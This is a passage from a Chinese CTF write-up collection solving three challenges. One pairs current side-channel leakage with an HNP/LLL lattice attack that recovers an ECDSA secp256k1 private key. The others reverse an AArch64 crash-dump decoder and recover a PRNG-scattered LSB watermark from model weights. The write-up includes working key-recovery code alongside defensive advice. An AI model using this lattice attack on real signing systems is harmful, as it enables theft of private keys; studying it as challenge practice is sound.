xs = hpf(x)[lo:hi]; xs = xs - xs.mean()
scores = []
for v, tmpl in templates.items():
sy = hpf(tmpl)[lo:hi]
best = float("inf")
for lag in range(-maxlag, maxlag + 1):
yy = np.roll(sy, lag); yy = yy - yy.mean()
scale = max(np.dot(xs, yy) / max(np.dot(yy, yy), 1e-12), 0.0)
r = ((xs - scale * yy) ** 2)[maxlag+5:-(maxlag+5)].mean()
best = min(best, r)
scores.append((best, v))
scores.sort()
return scores[0][1], scores[0][0], scores[1][0] - scores[0][0]
2.4 每个 batch 的 GF(2) 仿射映射
观测到的波形类别不是 nonce 值本身,而是经过控制器物理链路后的码字:w = A·v ⊕ c,其中 v 是 4 bit 或 3 bit 的窗口值,A 是 GF(2) 上的可逆线性映射,c 是偏移。不同 batch 的模拟前端不同,所以 8 个 target batch 各自有一组 (A,c)。
calibration 的每个 batch 有 20 条 pilot,覆盖 (0,0)、(1,1)、(2,2)、(4,4)、(8,0) 各 4 次。先取 c = W(0);再用 W(1)⊕c、W(2)⊕c、W(4)⊕c、W(8)⊕c 作为 4×4 矩阵的列,window1 用 1/2/4 三列构成 3×3 矩阵。对这两个矩阵在 GF(2) 上求逆,即可把观测码字反解为窗口值。最后拼接 p = (v0 << 3) | v1,得到 7 bit nonce 前缀。
def gf2_inverse(cols, nbits):
rows = []
for i in range(nbits):
row = 0
for j in range(nbits):
if (cols[j] >> i) & 1:
row |= 1 << j
rows.append(row)
aug = [rows[i] | (1 << (nbits + i)) for i in range(nbits)]
for col in range(nbits):
piv = next(r for r in range(col, nbits) if (aug[r] >> col) & 1)
aug[col], aug[piv] = aug[piv], aug[col]
for r in range(nbits):
if r != col and (aug[r] >> col) & 1:
aug[r] ^= aug[col]
return [(aug[i] >> nbits) & ((1 << nbits) - 1) for i in range(nbits)]
2.5 HNP + LLL 恢复私钥
ECDSA 方程为 s·k ≡ e + r·d (mod n)。已知 nonce 的高 7 位 p,写 k = p·2^249 + k_low,其中 0 ≤ k_low < 2^249。把 64 个方程改写为格上的近似关系,把未知的低 249 位当作小量,构造 HNP 格;用居中误差和 LLL 规约后提取候选私钥。对每个候选 d,回代检查所有 64 条方程的高 7 位是否等于观测到的 p,全部通过才接受。
最后用 did.json 中的 secp256k1 公钥再校验一次:由候选私钥导出的公钥必须与 public_key_sec1 完全一致。64 条签名足以让格唯一恢复,验证阶段也能排除 LLL 的伪向量。
Cb = 1 << 248
alpha, beta = [], []
for r, s, e, p in eqs:
inv = pow(s, -1, SECP_N)
alpha.append((r * inv) % SECP_N)
beta.append((e * inv - (p << 249) - Cb) % SECP_N)
dim = len(eqs) + 2
M = IntegerMatrix(dim, dim)
for i in range(len(eqs)):
M[i, i] = SECP_N * SECP_N
M[dim-2, i] = SECP_N * alpha[i]
M[dim-1, i] = SECP_N * beta[i]
M[dim-2, dim-2] = Cb
M[dim-1, dim-1] = SECP_N * Cb
LLL.reduction(M, delta=0.99)
2.6 ECDH/HKDF/AES-GCM 解封回执
sealed_flag.bin 的格式为 QCS1(4) | ephemeral_sec1_compressed(33) | salt(32) | nonce(12) | ct_len_u32be(4) | ciphertext_and_tag。用恢复的私钥与 ephemeral 公钥做 secp256k1 ECDH,取共享点的 x 坐标;HKDF-SHA256 使用文件内 salt、info quiet-current/sealed-flag/v1 派生 32 字节 key;AES-256-GCM 的 AAD 是 SHA-256(channel.cbor || did.json)。私钥或 transcript 任一不一致都会导致认证失败,因此解密成功本身就是对恢复结果的强验证。
privkey = ec.derive_private_key(priv, ec.SECP256K1())
ephem_pub = ec.EllipticCurvePublicKey.from_encoded_point(ec.SECP256K1(), ephem)
shared = privkey.exchange(ec.ECDH(), ephem_pub)
key = HKDF(algorithm=hashes.SHA256(), length=32, salt=salt,
info=b"quiet-current/sealed-flag/v1").derive(shared)
aad = hashlib.sha256(channel_cbor + did_json).digest()
flag = AESGCM(key).decrypt(nonce, cttag, aad)
三、Flag 验证
求解脚本依次输出:8 个 session 的历史唯一解、64 条 target trace 的 7 bit nonce 前缀、全部 64 条前缀回代通过、公钥与 did.json 匹配,最后 AES-GCM 认证成功并打印 flag。
flag{m0t0r_curr3nt_l34ks_n0nc3}

图 1 Quiet-Current 运行结果(8 条历史、64 个 nonce 前缀与公钥均验证通过)
验证要点:① 8 个 session 均有且仅有一条满足全部摘要、SOC、时间与回执约束的历史;② 64 条签名的高 7 位 nonce 前缀全部匹配;③ 导出的公钥与 did.json 的 secp256k1 公钥一致;④ AES-256-GCM tag 验证通过,说明 transcript 与私钥均正确。
四、小结
这道题把“状态链约束求解 + 电流侧信道 + ECDSA 格攻击”组合在一起。第一步必须先把记录选对:摘要链、SOC、时间、位移和两类回执共同提供了强约束,不能只看签名。第二步的关键是公共突发对齐与分批仿射校准,把与 nonce 无关的物理码字还原成 7 bit 前缀。最后,64 条签名即使每条只泄露 7 bit,也足以通过 HNP/LLL 恢复私钥。
从防御角度看,ECDSA nonce 必须使用全宽随机数或 RFC6979 确定性生成,不能使用窗口化的偏置采样;控制器电流/时序侧信道也需要去相关或恒时设计。状态日志虽然签名完整,但发布链、SOC 和回执的联合约束仍可能泄露真实历史,元数据的最小化同样重要。
5. KINEMATIC-V2
基础知识
AArch64 裸机/固件题先看入口、向量表和异常级;没有符号时用 adrp/add、ldr/str 和 SIMD 指令恢复常量与数据地址。KINCRASH 是自定义黑匣子格式,头部给 magic 和长度,载荷可能先做置换再 XOR。
这类题不要只靠 strings 或熵分析:正运动学、MMIO 外设函数可能都是干扰,真正解码路径往往只有几十字节。先找数据来源、变换步骤和校验位置(长度、置换合法性、CRC、ASCII 前缀),再把每个约束串起来。
题目类型:Misc / 固件取证 分值:300 环境:离线附件
附件:kinematic.bin(8648 B,控制器固件)、crash_dump.bin(96 B,黑匣子故障记录)、README.txt
一、题目分析
题目背景是 Lymotion GHOST-1 人形机器人的一次现场事故。工程团队从关节控制器 flash 中抢救出两份文件:kinematic.bin 是控制器固件,crash_dump.bin 是黑匣子故障记录。厂商追认固件中包含故障记录解码路径,而 dump 的载荷是一段被编码的工程遥测;目标是恢复这段载荷并得到 flag{...}。
两份文件都没有 ELF 或压缩容器头;kinematic.bin 是一个扁平二进制,crash_dump.bin 以 KINCRASH 开头。直接 strings 只能看到 decoy 提示(例如 keys not in strings, see crash decode path),必须按 AArch64 小端反汇编固件,找到真正的故障解码函数。
二、解题过程
2.1 定位 AArch64 解码函数
用 Capstone 以 CS_ARCH_AARCH64、CS_MODE_LITTLE_ENDIAN、基址 0 反汇编。固件中有明显的干扰函数:0x0 附近是正运动学计算,0xf0/0x104 附近是 UART/CAN/watchdog 的 MMIO 例程;真正与 crash dump 有关的逻辑位于文件偏移 0x60。入口先用 adrp x3, 0; add x3, x3, #0x148 构造基址,随后从 [x3 + 0xFD0] 和 [x3 + 0xFE0] 取两个 16 字节向量。由于 adrp 的页基址为 0,这两个地址分别是 0x148 + 0xFD0 = 0x1118 和 0x148 + 0xFE0 = 0x1128。
0x0060 adrp x3, 0
0x0064 add x3, x3, #0x148
0x0068 movi v2.16b, #0x53
0x0070 ldr q1, [x3, #0xfd0] ; file 0x1118
0x0074 ldr q0, [x3, #0xfe0] ; file 0x1128
0x0078 eor v1.16b, v1.16b, v2.16b
0x007c eor v0.16b, v0.16b, v2.16b
...
0x00b4 ldrb w4, [x8, x3] ; in[j]
0x00bc ldurb w5, [x5, #-1] ; perm[j]
0x00c0 ldurb w6, [x6, #-1] ; key[j]
0x00c4 eor w4, w4, w6
0x00c8 strb w4, [x7, x5] ; out[perm[j]] = in[j] ^ key[j]
函数参数为 x0=input、w1=block_count、x2=output。内层循环固定执行 16 次,外层每 16 字节推进一个块。因此它不是加密算法,而是“16 字节块内按 perm 重排 + 逐字节 XOR key”的轻量混淆。
2.2 从 0xFF 擦除区取表
0x1118 之前和之后都是 0xFF 填充;在这个“空”的区域中,0x1118 和 0x1128 各嵌入了 16 字节非 0xFF 数据。两条指令里的 0xFD0/0xFE0 偏移和 movi v2.16b,#0x53 说明这两张表还要与 0x53 异或。异或后的结果如下:
perm_raw = 51 56 54 57 5d 59 58 5e 5a 50 53 5c 52 5b 55 5f
perm = [2, 5, 7, 4, 14, 10, 11, 13, 9, 3, 0, 15, 1, 8, 6, 12]
key_raw = 1d a8 31 d2 90 18 c4 dc 27 c0 6a 4f 48 10 53 44
key = 4e fb 62 81 c3 4b 97 8f 74 93 39 1c 1b 43 00 17
perm 排序后恰好是 0..15,说明它是合法置换;key 则是 16 字节 XOR 流。两张表紧邻、没有分隔符,必须通过指令中的偏移和 0x53 才能定位;这也是单纯扫描字符串或熵值容易漏掉它们的原因。
2.3 解析 crash_dump.bin
crash_dump.bin 共 96 字节。头部为 8 字节 magic KINCRASH,随后是 4 字节长度、4 字节保留字段,有效载荷从 0x10 开始。长度字段的原始字节是 00 00 00 20,按大端读取为 0x20,也就是 32 字节;如果按小端会得到 0x20000000,明显超过文件长度,因此这里应当按大端处理。dump 中 0x30 之后还有 48 字节填充或噪声,不能把整个 96 字节都当成密文。
00000000 4b 49 4e 43 52 41 53 48 00 00 00 20 2f 7d f8 98 |KINCRASH.... /}..| 00000010 2f 9a 10 fa aa 7d a3 e4 1c f4 5f 72 77 20 61 48 |/....}....rw aH| 00000020 3c 93 12 f2 c3 26 ea 8f 06 f2 66 1c 78 26 5f 17 |<....&....f.x&.| 00000030 79 5e 4e 0f 1a dc 32 c9 6b 73 7c a2 f4 9a 19 8d |y^N...2.ks|.....|
有效载荷的前 32 字节是 2f 9a 10 fa ... 78 26 5f 17。这里以 0x10 为起点而不是 0x0c:0x0c 是保留字段,若从 0x0c 或 0x00 开始解码,会得到非 ASCII 垃圾;从 0x10 开始并与声明的 32 字节长度联合验证,才能得到稳定结果。
2.4 解码载荷
按 16 字节分块执行 out[off + perm[j]] = in[off + j] ^ key[j]。编码载荷解码后的十六进制与 ASCII 为:
hex: 66 6c 61 67 7b 61 61 72 63 68 36 34 5f 6b 69 6e 5f 63 72 61 73 68 5f 70 65 72 6d 7d 00 00 00 00 ascii: flag{aarch64_kin_crash_perm}\0\0\0\0
去掉末尾 4 个 NUL 即得到 flag。验证条件是:perm 是 0..15 的合法置换;长度字段与有效载荷长度一致;解码结果以 flag{ 开头;超出声明长度的填充区不参与解码。
#!/usr/bin/env python3
import struct
from pathlib import Path
fw = Path("kinematic.bin").read_bytes()
dump = Path("crash_dump.bin").read_bytes()
assert dump[:8] == b"KINCRASH"
n = struct.unpack(">I", dump[8:12])[0] # 0x20
payload = dump[0x10:0x10 + n]
perm = bytes(b ^ 0x53 for b in fw[0x1118:0x1128])
key = bytes(b ^ 0x53 for b in fw[0x1128:0x1138])
assert sorted(perm) == list(range(16))
out = bytearray(n)
for off in range(0, n, 16):
for j in range(16):
out[off + perm[j]] = payload[off + j] ^ key[j]
flag = bytes(out).split(b"\0", 1)[0].decode()
print(flag)
三、Flag 验证
运行解码脚本后,头部长度、置换合法性、ASCII 前缀与最终 flag 均通过检查。终端输出如下:
flag{aarch64_kin_crash_perm}

图 2 KINEMATIC-V2 解码输出(长度、置换与 flag 均验证通过)
验证要点:① crash_dump.bin 的 magic 为 KINCRASH;② 长度字段按大端解析为 32,且与从 0x10 开始的有效载荷长度一致;③ XOR 0x53 后的 perm 排序为 0..15;④ 解码结果以 flag{ 开头,末尾 4 个 NUL 为对齐填充。
四、小结
这道题的真正解码路径只有几十字节,固件中的正运动学与 MMIO 函数都是干扰,参数又藏在 0xFF 擦除区,所以字符串检索和简单 binwalk 都不够。关键是从机器码中的 adrp/add 计算出文件偏移,识别 movi v2.16b,#0x53 和 ldr q,再核对两表结构和置换合法性。算法本身只是 16 字节块置换加 XOR,不需要爆破或密钥搜索。
从防御角度看,不应把参数放在未初始化的擦除区并依赖简单 XOR;固件与故障记录应做完整性签名/认证,调试与未用功能应关闭。对逆向分析者而言,最有效的路径通常是“先看代码、再找数据”,而不是从数据外观猜算法。
6. Ghost-in-the-Actuator
基础知识
HDF5 是层次化数组容器,模型权重通常按 dataset 存放;读题先列 dataset 的 shape、dtype 和属性,把权重和题面里的“第一层 dense”对应起来。LSB 隐写只改浮点数最低位,统计上要比较原始分布、游程、尾零和位平面。
如果 watermark 用独立 PRNG 做置换或扩频,就要从生成器输出反推种子和散布参数;题面里的 joint map 可能就是种子派生的一部分。CRC32 在这里是 oracle:候选载荷必须同时满足 magic、长度、可打印 ASCII 和 CRC,不能只看“像 flag”就提交。
题目 :Ghost-in-the-Actuator(Misc,200 分) 描述 :机器人厂商的量产策略权重被离职工程师拷走,厂商声明模型里嵌有取证水印(LWM-v2),提取该水印载荷。 Flag :flag{LWMv2_j0intmap_pcg_lsb}
0. 附件清单
解压 Ghost-in-the-Actuator.zip 得到三个文件:
文件 | 大小 | 内容 |
|---|---|---|
ghost_policy.h5 | 86,192 B | HDF5 神经网络模型("GHOST-1 humanoid policy") |
joint_order.bin | 72 B | 关节映射表(JMAPv01\n + 64 字节 0..63 的置换) |
telemetry.log | 4,926 B | 机器人运行日志,夹着 3 条 LWM 水印系统日志 |
侦察:telemetry.log 把题目"说"了出来
日志里混着 43 行 ctrl.loop 转矩输出(纯噪声/氛围),真正有价值的是 3 条 LWM 日志:
1793635800.800 WRN lwm.watermark_check crc mismatch: computed 0x00000000 stored 0x321c478c 1793635800.800 ERR lwm.extractor joint map file not found: joint_order.bin (deployment artifact, required for LWM-v2 scatter recovery) 1793635800.800 INF lwm.selftest spread=PRNG payload<=48B ascii magic=LWM2 carrier=first dense layer
由此拿到全部协议参数:
• 载体 :模型第一个 dense 层的权重
• 散布方式 :spread=PRNG(PRNG 散布)
• 载荷格式 :ASCII、≤48 字节、魔数 LWM2
• 恢复条件 :需要 joint_order.bin(scatter recovery 必需)
• 校验值 :CRC32 = 0x321c478c(日志里 computed 0 是因为运行时缺 joint map、提取返回空,crc32(b"")=0 恰好自洽)
模型结构与金丝雀陷阱
脚本 2-1: inspect_h5.py —— 遍历 h5 全部数据集/属性
import h5py, numpy as np
path = r"ghost_policy.h5"
with h5py.File(path, "r") as f:
print("== root attrs ==", dict(f.attrs)) # model/vendor/watermark 三个属性
def visit(name, obj):
if isinstance(obj, h5py.Dataset):
print(f"DSET {name} shape={obj.shape} dtype={obj.dtype}")
if obj.size <= 64:
print(" values:", np.array(obj).ravel())
else:
print(f"GRP {name} attrs={dict(obj.attrs)}")
f.visititems(visit)
输出(节选):
== root attrs == {'model': 'GHOST-1 humanoid policy', 'vendor': 'Lymotion Robotics', 'watermark': 'LWM-v2 (proprietary)'} DSET metadata shape=() dtype=object # JSON 元数据(含 canary_b64) DSET obs_stats/mean shape=(64,) float32 DSET obs_stats/std shape=(64,) float32 DSET policy/mlp0/w shape=(128,64) float32 ← 第一个 dense 层(载体) DSET policy/mlp1/w shape=(64,128) float32 DSET policy/mlp2/w shape=(16,64) float32 DSET value/w shape=(1,64) float32
metadata 里的 canary_b64 解码出来是:
flag{b4se64_c4nary_str1ng_n0t_th3_pay10ad}
[LWM] note: LWM-v2 payloads are never stored in cleartext, base64, or any string
encoding. Do not submit canaries.
典型的 金丝雀陷阱 ——直接交这个会白白丢分。真正的载荷必须从权重里做散布恢复。
脚本 2-2: filelayout.py —— 文件层排查(确认没有藏私货)
把每个数据集的原始字节在文件里定位,确认没有 userblock / 间隙 / padding 藏数据:
import h5py, numpy as np
path = r"ghost_policy.h5"
raw = open(path, 'rb').read()
print("file size:", len(raw))
with h5py.File(path, 'r') as f:
names = []
def v(n, o):
if isinstance(o, h5py.Dataset):
names.append((n, o))
f.visititems(v)
for n, o in names:
if o.dtype == object:
print(n, "object dtype skip"); continue
d = np.array(o)
b = d.tobytes()
i = raw.find(b)
j = raw.find(d.byteswap().tobytes()) if d.dtype.kind == 'f' else -1
print(f"{n}: shape={o.shape} bytes={len(b)} file_off={i} swap_off={j}")
结论:各数据集紧凑排列、无夹带,水印确实只可能藏在权重 数值 里。
载体分析:LSB 平面被整体替换
脚本 3-1: analyze_w.py —— 位平面统计
import h5py, numpy as np
path = r"ghost_policy.h5"
with h5py.File(path, "r") as f:
w0 = np.array(f["policy/mlp0/w"]) # (128,64) float32
print("w0 stats:", w0.min(), w0.max(), w0.mean(), w0.std())
u = w0.view(np.uint32) # float32 位型
for bit in range(4):
print(f"bit{bit} ones ratio:", np.count_nonzero((u >> bit) & 1) / u.size)
lsb0_rows = ((u.reshape(128,64) & 1).sum(axis=1))
print("per-row LSB0 count:", lsb0_rows) # 24~42,二项分布,无异常行
输出:bit0..3 的 1 比例都是 0.50,每行 LSB 计数 2442——无偏置、无异常行。
脚本 3-2: eyeball.py —— 游程与尾零分析
import h5py, numpy as np
with h5py.File(r"ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"])
u = w0.view(np.uint32)
def runs(bits):
bits = np.asarray(bits, np.uint8).ravel()
ch = np.where(bits[1:] != bits[:-1])[0]
starts = np.concatenate(([0], ch + 1))
ends = np.concatenate((ch, [len(bits) - 1]))
return ends - starts + 1
for name, plane in (("C", (u & 1).ravel()), ("F", (u.T.ravel() & 1))):
r = runs(plane)
print(f"LSB plane {name}: max run={r.max()}, runs>=10: {(r>=10).sum()}, runs>=12: {(r>=12).sum()}")
# mantissa 尾随零直方图:呈几何减半 → 未被量化,纯随机
tz = []
for v in u.ravel():
m = v & 0x7FFFFF; t = 0
if m == 0: t = 23
else:
while not (m >> t) & 1: t += 1
tz.append(t)
print("trailing-zero hist:", np.bincount(tz, minlength=24))
关键结论:
• C/F 序最大游程只有 13 → 没有连续重复编码(排掉"每 bit 重复 16 次"这类直接平铺);
• mantissa 尾随零呈 8192/2^k 几何分布 → 权重没有被量化过;
• 结合后面对生成流的重放(§4)可精确测得: 只有 bit0 被改过 (bit1..23 与原始流完全一致),被改的有 4159/8192 ≈ 50.8% ——远大于 64 字节载荷能造成的 ≤512 次翻转;
• 翻转在行/列上呈二项分布(行均值 32.5、列均值 65.0), 空间完全均匀 。
结论 :整个 8192 bit 的 LSB 平面被一个"伪随机码字"整体替换,载荷藏在 code = f(种子) 的散布里——不可能靠统计或游程直接读出,必须找到确切的散布参数。
脚本 3-3: search_lsb.py —— 基础位平面 magic 搜索(排除)
在多种遍历顺序(C/F 序、列按 perm 重排)× 双位序下打包 LSB 位平面并搜 LWM2:
import h5py, numpy as np
jm = open("joint_order.bin", "rb").read()
assert jm[:8] == b"JMAPv01\n"
perm = np.frombuffer(jm[8:72], dtype=np.uint8)
print("is perm of 0..63:", sorted(perm.tolist()) == list(range(64)))
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"])
u = w0.view(np.uint32)
def bits_to_bytes(bits, msb_first=True):
bits = np.asarray(bits, np.uint8).ravel()
n = len(bits) // 8 * 8
b = bits[:n].reshape(-1, 8)
if not msb_first:
b = b[:, ::-1]
return (b * (1 << np.arange(7, -1, -1))).sum(axis=1).astype(np.uint8).tobytes()
def report(tag, data):
for magic in (b"LWM2", b"flag"):
i = data.find(magic)
if i >= 0:
print(f"[HIT] {tag} @{i}: {data[i:i+60]}")
for bit in range(4):
plane = ((u >> bit) & 1)
report(f"bit{bit} C-msb", bits_to_bytes(plane, True))
report(f"bit{bit} C-lsb", bits_to_bytes(plane, False))
report(f"bit{bit} F-msb", bits_to_bytes(plane.T.ravel(), True))
report(f"bit{bit} permcol", bits_to_bytes(plane[:, perm].T.ravel(), True))
# 无任何命中
脚本 3-4: search2.py —— 行/对角线/字节平面 × joint 置换(排除)
对每一行的低字节(以及 >>8/16 的字节平面)、主/副对角线,分别施加 perm/逆 perm 再搜 magic:
import h5py, numpy as np
jm = open("joint_order.bin", "rb").read()
perm = np.frombuffer(jm[8:72], dtype=np.uint8)
inv = np.empty(64, dtype=np.uint8); inv[perm] = np.arange(64)
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"])
u = w0.view(np.uint32)
def check(tag, data):
for m in (b"LWM2", b"flag"):
i = data.find(m)
if i >= 0:
print(f"[HIT] {tag} {m} @{i}: {data[i:i+60]}")
def variants(tag, b64): # 64 字节向量 × {原序, perm, inv}
check(tag + " id", bytes(b64))
check(tag + " perm", bytes(np.array(b64)[perm]))
check(tag + " inv", bytes(np.array(b64)[inv]))
for r in range(128):
variants(f"row{r}", (u[r] & 0xFF)) # 每行低字节
for shift in (8, 16):
for r in range(128):
variants(f"row{r} sh{shift}", ((u[r] >> shift) & 0xFF))
variants("diag", ([u[i, i] for i in range(64)] and (np.array([u[i,i] for i in range(64)]) & 0xFF)))
variants("adiag", (np.array([u[i, 63-i] for i in range(64)]) & 0xFF))
# 无命中
脚本 3-5: fold.py —— 分组折叠/多数表决(排除)
8192/512 = 每比特 16 个权重冗余的假设:C/F 序连续分组、按列分组(每列 128 bit → 8×16)、行列 XOR 折叠等:
import h5py, numpy as np
jm = open("joint_order.bin", "rb").read()
perm = np.frombuffer(jm[8:72], dtype=np.uint8)
inv = np.empty(64, dtype=np.uint8); inv[perm] = np.arange(64)
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"])
P = (w0.view(np.uint32) & 1).astype(np.uint8) # (128,64) LSB 平面
def bits2bytes(bits):
b = np.asarray(bits, np.uint8).ravel(); n = len(b)//8*8
b = b[:n].reshape(-1, 8)
return (b*(1<<np.arange(7,-1,-1))).sum(1).astype(np.uint8).tobytes()
def check(tag, data):
for m in (b"LWM2", b"flag"):
i = data.find(m)
if i >= 0: print(f"[HIT] {tag}: {data[i:i+64]}")
# 1) C 序连续 16 组:majority / xor
g = P.ravel().reshape(512, 16)
for nm, bits in (("majority", (g.sum(1) > 8)), ("xorfold", (g.sum(1) % 2))):
d = bits2bytes(bits.astype(np.uint8))
check(f"C g16 {nm}", d)
# 2) 按列:每列 128 bit → reshape(8,16) 多数表决 → 64 字节,再按 perm/inv 重排
colbytes = []
for c in range(64):
g = P[:, c].reshape(8, 16)
colbytes.append(int("".join(map(str, (g.sum(1) > 8).astype(np.uint8))), 2))
arr = np.array(colbytes, np.uint8)
for nm, d in (("id", arr), ("perm", arr[perm]), ("inv", arr[inv])):
check(f"col-majority {nm}", bytes(d))
# 全部乱码,无 magic
脚本 3-6: blockscatter.py / diagtest.py —— 结构化散布假设(排除)
• blockscatter.py:8192 权重 = 1024 个 8-bit 块,假设"joint j 拥有第 perm[j] 块"(块内 8 个 LSB 即字节 j),四种变体(blk=perm[j] / blk=j / blk=inv[j] × MSB/LSB-first)全部测试;
• diagtest.py:perm-对角线 u[j, perm[j]]、u[perm[j], j]、u[perm[j], perm[j]]… 等 12 种索引公式 × 4 个字节平面 × 3 种重排。
# blockscatter.py 核心片段
plane = (u.ravel() & 1).astype(np.uint8)
for msb in (True, False):
bA = bytes(int("".join(map(str, plane[perm[j]*8 : perm[j]*8+8])), 2) # 字节 j ← 块 perm[j]
for j in range(64))
report(f"A blk=perm[j] msb={msb}", bA)
# ... blk=j(再做 inv/perm 重排)、blk=inv[j] 两个变体同理
# 无命中
脚本 3-7: crcscan.py / littlescan.py —— CRC32 全窗口扫描(oracle 换轨)
不再依赖 magic 假设,直接用 crc32 == 0x321c478c 当 oracle:对所有能想到的顺序(C/F 序、行/列 perm 重排、各字节平面、value/w·mean·std 低字节、D 信号)打包出的字节流,枚举全部长度 8..64 的窗口算 CRC:
import h5py, numpy as np, zlib
jm = open("joint_order.bin", "rb").read()
perm64 = np.frombuffer(jm[8:72], dtype=np.uint8)
inv64 = np.empty(64, np.uint8); inv64[perm64] = np.arange(64)
TARGET = 0x321c478c
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"]); vw = np.array(f["value/w"])
mean = np.array(f["obs_stats/mean"]); std = np.array(f["obs_stats/std"])
def pb(bits):
b = np.asarray(bits, np.uint8).ravel(); n = len(b)//8*8
b = b[:n].reshape(-1, 8)
return (b*(1<<np.arange(7,-1,-1))).sum(1).astype(np.uint8).tobytes()
u0 = w0.view(np.uint32)
streams = {
"lsbC": pb((u0 & 1).ravel()),
"lsbF": pb((u0 & 1).T.ravel()),
"lsb1C": pb(((u0 >> 1) & 1).ravel()),
"lsbC_little": np.packbits((u0 & 1).ravel(), bitorder="little").tobytes(),
"vw_low": (vw.view(np.uint32).ravel() & 0xFF).astype(np.uint8).tobytes(),
"mean_low": (mean.view(np.uint32) & 0xFF).astype(np.uint8).tobytes(),
"std_low": (std.view(np.uint32) & 0xFF).astype(np.uint8).tobytes(),
}
for k, v in list(streams.items()): # 前 64 字节再做 perm/inv 重排
if len(v) >= 64:
a = np.frombuffer(v[:64], np.uint8)
streams[k + "_perm"] = bytes(a[perm64]); streams[k + "_inv"] = bytes(a[inv64])
for name, s in streams.items():
for L in range(8, min(65, len(s))):
for i in range(len(s) - L + 1):
if zlib.crc32(s[i:i+L]) == TARGET:
print(f"[CRC-HIT] {name} @{i} len={L}: {s[i:i+L]}")
# 无命中 → 载荷不是任何"简单顺序打包"的窗口
脚本 3-8: telemetry_test.py —— 旁路排除
320 个转矩值是否编码了比特(符号位、毫单位奇偶、首位奇偶、数位映射):
import re, numpy as np, zlib
log = open("telemetry.log").read()
vals = []
for line in log.splitlines():
m = re.search(r"torque\[0:8\]=\s*(.*)", line)
if m: vals.extend(float(x) for x in m.group(1).split())
v = np.array(vals) # 320 个,范围 [-7.94, 7.948]
for nm, bits in (("sign", (v < 0)), ("lastdig", (np.round(v*1000).astype(np.int64) % 2))):
d = np.packbits(bits.astype(np.uint8)).tobytes()
... # magic + CRC 窗口检查
# 无命中 → telemetry 只是氛围/日志
关键突破:重建生成器的随机数流
模型权重是"可复现脚本"生成的——如果找到生成种子,就能 逐张量重放整条 RNG 流 ,从而把"嵌入前的原始 w0"拿出来,并确认嵌入动作发生在流的哪个位置。
脚本 4-1: replay.py —— 爆破生成种子(命中 seed=42)
oracle:重放值 ≈ 文件值(容差 2e-6,容忍 LSB 篡改):
import h5py, numpy as np
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"]) # (128,64)
print("w0 std:", w0.std(), "sqrt(2/64):", np.sqrt(2/64)) # 0.1773 ≈ He init
def close(a, b, tol=2e-6):
return a.shape == b.shape and np.max(np.abs(a.astype(np.float64) - b.astype(np.float64))) < tol
for seed in range(0, 40000):
r = np.random.default_rng(seed) # 布局 A:float64 normal 再 cast
g = r.normal(0, np.sqrt(2/64), size=(128, 64)).astype(np.float32)
if close(g, w0):
print("[FOUND] default_rng normal seed", seed); break
rs = np.random.RandomState(seed) # 布局 B:legacy
g2 = rs.normal(0, np.sqrt(2/64), size=(128, 64)).astype(np.float32)
if close(g2, w0):
print("[FOUND] RandomState seed", seed); break
# → [FOUND] default_rng normal seed 42
脚本 4-2: replay3.py / replay5.py —— 逐张量确定生成序列
import h5py, numpy as np
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"]); w1 = np.array(f["policy/mlp1/w"])
w2 = np.array(f["policy/mlp2/w"]); vw = np.array(f["value/w"])
mean = np.array(f["obs_stats/mean"]); std = np.array(f["obs_stats/std"])
def maxdiff(a, b): return np.abs(a.astype(np.float64) - b.astype(np.float64)).max()
r = np.random.default_rng(42)
g0 = r.normal(0, np.sqrt(2/64), size=(128,64)).astype(np.float32) # w0:LSB 被改,高位于一致
print("w0 lsb diff:", ((g0.view(np.uint32) ^ w0.view(np.uint32)) & 1).sum()) # 4159
# 逐个候选 scale/分布试探后续张量(w1 用 maxdiff==0 精确匹配判定):
g1 = r.normal(0, 0.125, size=(64,128)).astype(np.float32) # ✓ maxdiff 0.0
g2 = r.normal(0, np.sqrt(2/64), size=(16,64)).astype(np.float32) # ✓
gv = r.normal(0, 0.125, size=(1,64)).astype(np.float32) # ✓
gm = r.uniform(-1, 1, size=64).astype(np.float32) # ✓ mean
gs = r.uniform(0.1, 2.0, size=64).astype(np.float32) # ✓ std(由 min=0.101/max=1.978 反推区间)
完整生成序列(全部精确匹配):
r = np.random.default_rng(42)
w0 = r.normal(0, np.sqrt(2/64), size=(128,64)) # mlp0/w ← 只有它的 LSB 后来被改
w1 = r.normal(0, 0.125, size=(64,128)) # mlp1/w ✓ 逐位一致
w2 = r.normal(0, np.sqrt(2/64), size=(16,64)) # mlp2/w ✓
vw = r.normal(0, 0.125, size=(1,64)) # value/w ✓
mean = r.uniform(-1, 1, size=64) # ✓
std = r.uniform(0.1, 2.0, size=64) # ✓
两个决定性结论 :
w1..std 与流的连续状态逐位一致 ⇒ 水印嵌入没有消耗主流的随机数 ⇒ 嵌入用的是 独立 RNG 实例 ,种子另有来源;
只有 bit0 被改、4159 ≈ 50% 翻转、空间均匀 ⇒ 整平面被伪随机码字替换。
脚本 4-3: replay2.py / deltatest.py —— Δ 信号(纯扩频码)分析
有了原始平面 O,Δ = C ⊕ O 就是去掉原始噪声的"纯扩频信号":
import h5py, numpy as np
with h5py.File("ghost_policy.h5", "r") as f:
w0 = np.array(f["policy/mlp0/w"])
r = np.random.default_rng(42)
g0 = r.normal(0, np.sqrt(2/64), size=(128,64)).astype(np.float32)
O = (g0.view(np.uint32).ravel() & 1).astype(np.uint8)
C = (w0.view(np.uint32).ravel() & 1).astype(np.uint8)
D = C ^ O # 纯扩频码
# 游程 / 周期性 / magic / 主流置换 gather 全查
rl = np.array([len(list(g)) for k, g in __import__('itertools').groupby(D)])
print("D runs max:", rl.max(), ">=16:", (rl >= 16).sum()) # 13 / 0
for p in (64, 128, 384, 448, 512, 1024):
print(f"period {p}:", (D[p:] == D[:-p]).mean()) # 全部 ≈ 0.50
# 结论:Δ 无任何结构 → 载荷确实被"独立键流/置换"打乱
爆破散布参数
载荷 ≤48B,帧格式推断为 LWM2 | len(1B) | flag | crc32_BE(4B),于是有两个强 oracle:
